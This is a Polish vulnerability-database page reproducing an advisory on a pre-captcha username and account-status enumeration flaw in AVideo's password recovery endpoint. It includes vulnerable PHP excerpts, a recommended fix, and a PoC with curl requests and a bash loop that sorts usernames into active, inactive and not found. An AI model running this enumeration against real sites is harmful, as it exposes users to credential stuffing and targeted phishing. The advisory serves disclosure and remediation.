Średnia

AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint

  • Ujawniono: 25.03.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.

Details

In objects/userRecoverPass.php, the request flow is:

  1. Line 11 — A User object is instantiated from unsanitized $_REQUEST['user'] with no authentication:
php
$user = new User(0, $_REQUEST['user'], false);
  1. Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
php
if (empty($user->getStatus())) {
    $obj->error = __("User not found");
    die(json_encode($obj));
}
  1. Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
php
if ($user->getStatus() !== 'a') {
    $obj->error = __("The user is not active");
    die(json_encode($obj));
}
  1. Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
php
if (empty($_REQUEST['captcha'])) {
    $obj->error = __("Captcha is empty");
} else {
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);

This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.

By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.

No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).

PoC

bash
# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"

# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"

# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"

# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
    -d "user=${user}&captcha=")
  error=$(echo "$result" | jq -r .error)
  if [ "$error" = "Captcha is empty" ]; then
    echo "[ACTIVE] $user"
  elif [ "$error" = "The user is not active" ]; then
    echo "[INACTIVE] $user"
  else
    echo "[NOT FOUND] $user"
  fi
done

Impact

  • Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
  • Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
  • Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
  • Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
  • No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.

Recommended Fix

Move the captcha validation before the user existence checks, and return a generic message regardless of user status:

php
// In objects/userRecoverPass.php, replace lines 26-41 with:

    header('Content-Type: application/json');

    // Validate captcha FIRST, before any user lookups
    if (empty($_REQUEST['captcha'])) {
        $obj->error = __("Captcha is empty");
        die(json_encode($obj));
    }
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);
    if (!$valid) {
        $obj->error = __("Your code is not valid");
        $obj->reloadCaptcha = true;
        die(json_encode($obj));
    }

    // After captcha passes, check user — but use generic message
    if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {
        // Generic message — do not reveal whether user exists or is active
        $obj->success = __("If this account exists, a recovery email has been sent");
        die(json_encode($obj));
    }

    // Proceed with actual password recovery...
    $recoverPass = $user->setRecoverPass();

Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer wwbn/avideo <= 26.0 brak poprawki

Odnośniki

Ocena CVSS 5.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Słabość (CWE)
CWE-204
Platforma
Composer
Paczka
wwbn/avideo
Ujawniono
25.03.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-m99f-mmvg-3xmx - CC BY 4.0

Historia podatności: wwbn/avideo

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (160) w archiwum
Wszystkich wpisów
160
Pierwsza → ostatnia
04.2022 06.2026
Bez poprawki
143
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 14
  • Wysoka 61
  • Średnia 83
  • Niska 2

Ujawnienia w latach

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Istotność:
  1. AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint ten wpis
    Średnia · 5.3 CVE-2026-33688 <= 26.0 brak poprawki
  2. Wysoka · 8.8 CVE-2026-45578 <= 29.0 brak poprawki
  3. Wysoka · 9.8 CVE-2026-41304 <= 29.0 brak poprawki
  4. Wysoka · 9.3 CVE-2026-41064 <= 29.0 brak poprawki
Pokaż więcej (20) Widać 21 z 76

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.